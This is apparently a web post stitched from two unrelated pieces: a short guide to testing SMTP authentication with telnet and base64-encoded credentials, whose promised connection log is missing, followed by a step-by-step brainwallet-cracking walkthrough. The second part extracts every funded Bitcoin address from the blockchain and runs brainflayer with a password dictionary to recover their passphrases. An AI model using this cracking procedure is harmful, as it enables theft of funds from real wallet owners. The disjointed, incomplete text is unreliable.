How to Test Mail Server SMTP AUTH using Telnet

1. Use Perl to get base64 encoding of your username and password:

perl -MMIME::Base64 -e 'print encode_base64("username");'
perl -MMIME::Base64 -e 'print encode_base64("password");'

2. Use Telnet to connect to the mail server:

telnet mailserver.com 25

3. Greet the mail server:

EHLO mailserver.com

4. Tell the server you want to authenticate with it:

AUTH LOGIN

5. Enter the base64 encoded Username string:

dXNlcm5hbWU=

6. Enter the base64 encoded Password string:

cGFzc3dvcmQ=

Now you should have received a message telling you “Authentication succeeded”.

Below is a log of a real successful SMTP AUTH connection over Telnet:

Introduction:
New Cracking Tool Exposes Major Flaw in Bitcoin Brainwallets
http://www.coindesk.com/new-cracking-tool-exposes-major-flaw-in-bitcoin-brainwallets/

Download brainflayer: https://github.com/ryancdotorg/brainflayer

1. Password dictionary
Download CrackStation dictionary: https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm

2. Install Bitcoin Daemon: https://github.com/bitcoin/bitcoin

3. Open source blockchain tool Blockparser
Blockparser download: https://github.com/znort987/blockparser
Retrieve all Bitcoin addresses using Blockparser

./parser allBalances > allBalances.txt

awk '{ print $2 }' allBalances.txt > btcaddress.hex

4. Convert Bitcoin address to Hash160 address
Tool written in Perl: http://lenschulwitz.com/base58
A slight change is needed to convert text file.

5. Convert Hash160 address to bloom filter address using hex2blf

hex2blf btcaddress.hex btcaddress.blf

6. Run brainflayer

brainflayer -b btcaddress.blf -i password.txt

7. Sample output: (first column is Bitcoin Hash160 address, the last column is the password)
